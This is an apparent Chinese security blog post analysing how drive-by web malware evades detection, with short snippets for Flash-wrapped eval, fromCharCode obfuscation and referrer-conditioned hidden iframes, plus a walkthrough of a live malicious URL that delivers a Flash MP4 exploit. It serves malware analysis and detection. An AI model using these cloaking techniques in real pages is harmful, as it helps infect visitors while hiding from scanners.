网马的反挂马检测

网马的反挂马检测

 

Magictong

2012-07-25

本次只输出反挂马检测的一些技术,以后有机会再分享挂马检测的针对性对抗技术。

 

最近一段时间跟踪了微软XML漏洞(CVE-2012-1889)的挂马数据,跟进了一些网马资源,发现里面存在很多对抗技术,有些还是很不错的,对于挂马产业链我一直比较好奇。

 

一、使用Flash来封装网马

有两种方法:

(1)     一种是使用使Flash AS的扩展APIExternalInterface类来反调JS代码。

import flash.external.*;

ExternalInterface.call("eval","jscode_string");

这个函数有两个参数(第二个参数是一个变参,可以传递0个或者多个参数,实际就看第一个参数指明调用的js函数需要几个参数了),一个是要调用的js函数名,一个执行参数,上面代码的意思本质就是调用jseval函数,参数是jscode_string。这样可以将任意JS代码封装到Flash文件中,再对Flash文件进行压缩加密保护起来,这种就很难检测了。

(2) 另外一种是直接在as脚本里面写Heapspray代码,然后配合Js脚本的漏洞触发代码,联合利用一个漏洞,可以绕过一些通用的Heapspray检测方法。

 

二、通过String.fromCharCode函数来变形JS代码

类似:

var sc = "spraySlide =spraySlide.substring(0,spraySlideSize/2)"; 

var out2 = ""; 

for(var i=0; i<sc.length; i++) 

{ 

out2 +=String.fromCharCode(sc.charCodeAt(i) - 3); 

} 

document.write(out2);

既可变形代码,也可以变形字符串,随意搭配,提高绕过概率。

 

三、通过判断客户端的操作系统或者客户端的安全软件来决定是否挂马

很多挂马检测系统都是跑在后台的,而后台一般是linux等服务器系统,通过判断操作系统,决定是否挂马,挂马检测系统一般不会跑js代码的全部路径,不过目前的一些蜜罐系统基本上伪造得和用户环境一样,因此此种方式的用途有多大值得商酌。另外就是如果发现某些安全软件确实绕不过,则可以在客户端进行检测,避免被曝光(检测方式知道创于研究院的总监余弦在[2]里面提到过)。

 

四、判断Referrer字段

很显然,蜜罐系统去取网页代码时,或者直接访问时,Referrer字段是空的,而从已知的挂马网站跳转而来,或者从搜索引擎跳转而来,则挂马。更牛逼的是加上时间判断,哪个时间段挂,哪个时间段不挂,譬如晚上挂,到白天了安全工作人员都上班的时间则不挂,猥琐吧。

var url=document.referrer;

varp=url.toLowerCase().indexOf(".baidu.com");

if (p>0)

{

document.writeln("<iframesrc=*** width=0 height=0></iframe>");

}

var url=document.referrer;

varp=url.toLowerCase().indexOf(".google.com.hk");

if (p>0)

{

document.writeln("<iframesrc=*** width=0 height=0></iframe>");

}

 

五、使用JS访问插件的属性时进行变形

使用这种方法可以绕过很多通过JS的静态特征检测漏洞的利用方式,直接上代码说明,以最近的CVE-2012-1889漏洞为例。

下面是CVE-2012-1889漏洞的原始POC代码:

再看一段真实样本的代码:

 

它这里其实也是访问definetion属性,不信你看:

用这种方式进行变形,基本上可以千变万化。你可以发挥你的想象力。

 

六、其它反挂马检测技术

(1) 判断当前IP是否是已知的IDC机房的IP,如果是则认为是Spider(爬虫)在爬取,给予错误的信息。或者甚至通过信息搜集的方法直接探知SpiderIP地址。

(2) 通过cookie等指纹信息判断用户是否已经访问过,如果已经访问过了就不用再访问了,不过可能躲不过蜜罐系统。

(3) 使用一些免费的空间,免费二级域名等方式隐藏行踪[3]

 

参考

[1] 免杀迅雷PPLAYER.DLL ActiveX控件溢出漏洞,http://blog.csdn.net/leeeryan/article/details/6127887

[2] xKungfoo上的网马猥亵技巧, http://hi.baidu.com/ycosxhack/item/50aef2e8a6c1cae1fa42baa5

[3] 网马的反挂马检测及精确投放, http://hi.baidu.com/monyer/item/a89437ea339cf2e3fb42ba63

[4] 网马的反挂马检测及精确投放(续), http://hi.baidu.com/monyer/item/948ea84244a37dab60d7b963

 

一个实例的简单分析

以今天刚刚看到的一个挂马链接为例(最后分析发现其实没挂马,但是有Heapspray行为,因此被Heapspray拦截抓获了)。

 

分析过程:

URLhttp://142.0.128.141/uuBxvO2.html(不要直接访问,有一定危险性)

1、首先取到源代码(注意:如果发现代码不对头,那就换环境试试)

HTML代码里面前面是一些Heapspray库的代码,不用看,直接看后面

 

2、这种代码比较恶心,各种混淆变形,其实分析网马,我们的目的是要找出最终执行的JS核心代码,把这部分代码通过alert,或者document.write()的方式打印出来,基本上就完成网马分析了,剩下的工作就是找出是利用的什么漏洞了。

 

3、对于这种混淆变量的JS代码,没什么特别好的办法,一层层的剥出来才是王道。好吧,剥啊剥……其实那个字符串sNotc8里面的代码是可见的第一层JS代码,sNotc8会被eval直接执行,看图:

 

4sNotc8里面又是什么代码呢?继续剥……这是一个苦力活,不过网上有一些JS代码格式化工具可以使用,可以稍微减轻一下工作量,最后剥出来是(把变量名作了修改,已便于查看):

 

5、好下面来剥这个第二层JS代码,也就是上图中的_strNull的值,这下不能静态看,需要使用原始代码,把这个值输出来。代码如下(有一个小技巧就是sNotc8这个字符串你不能修改他,因为第一层的JS代码里面使用了这个字符串来解密第二层JS代码,因此这里重新定义一个字符串sNotc8_1,内容和sNotc8一样,并稍做修改,见图,然后eval这个字符串):

 

6、坐等输出第二层的JS代码。

 

7、好吧,分析完成,至于第二层JS代码(上图)是在干嘛,应该很清楚了。但是确实没利用漏洞,纯粹Heapspray!!!

 

后来和同事讨论了下发现,之前的分析其实还没有完成,问题出在原始的URL不全,原始URL是:http://142.0.128.141/uuBxvO2.html?%3Cembed%20src%3D%27dGaxmb6.swf%3Fhash%3D24C0AF115312706A8C9776145B5C4E955F27%27%20width%3D100%20height%3D0%3E%3C/embed%3E

解码之后是:http://142.0.128.141/uuBxvO2.html?<embedsrc='dGaxmb6.swf?hash=24C0AF115312706A8C9776145B5C4E955F27'width=100 height=0></embed>

 8、这就可以解释当时分析时觉得没用的那段代码了:

9、没错,就是获取当前URL里面的数据,作为HTML代码的一部分,显然这个代码的关键部分就是:

<embed src='dGaxmb6.swf?hash=24C0AF115312706A8C9776145B5C4E955F27' width=100 height=0></embed>

 

10、下载这个swf文件回来反编译发现,果然有玄机。

 

 11、如果我没有看错,它应该是挂 [CVE-2012-0754] adobe flash play mp4格式解析漏洞,但是这里比较巧妙的是他的mp4文件是直接从网络读取的。

 

结论:天下无免费的午餐,看来它不会无缘无故去做Heapspray的。而这种利用方式要精确拦截,还有点麻烦,因为拦截这个漏洞的关键在于拦截最后触发漏洞的那个MP4文件,如果这个文件不落地,我们现有技术无法进行内存查杀(当然我们现在还不能进行非PE查杀),当前只能依靠Heapspray拦截技术进行通杀拦截。

 

发布了148 篇原创文章 · 获赞 261 · 访问量 187万+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章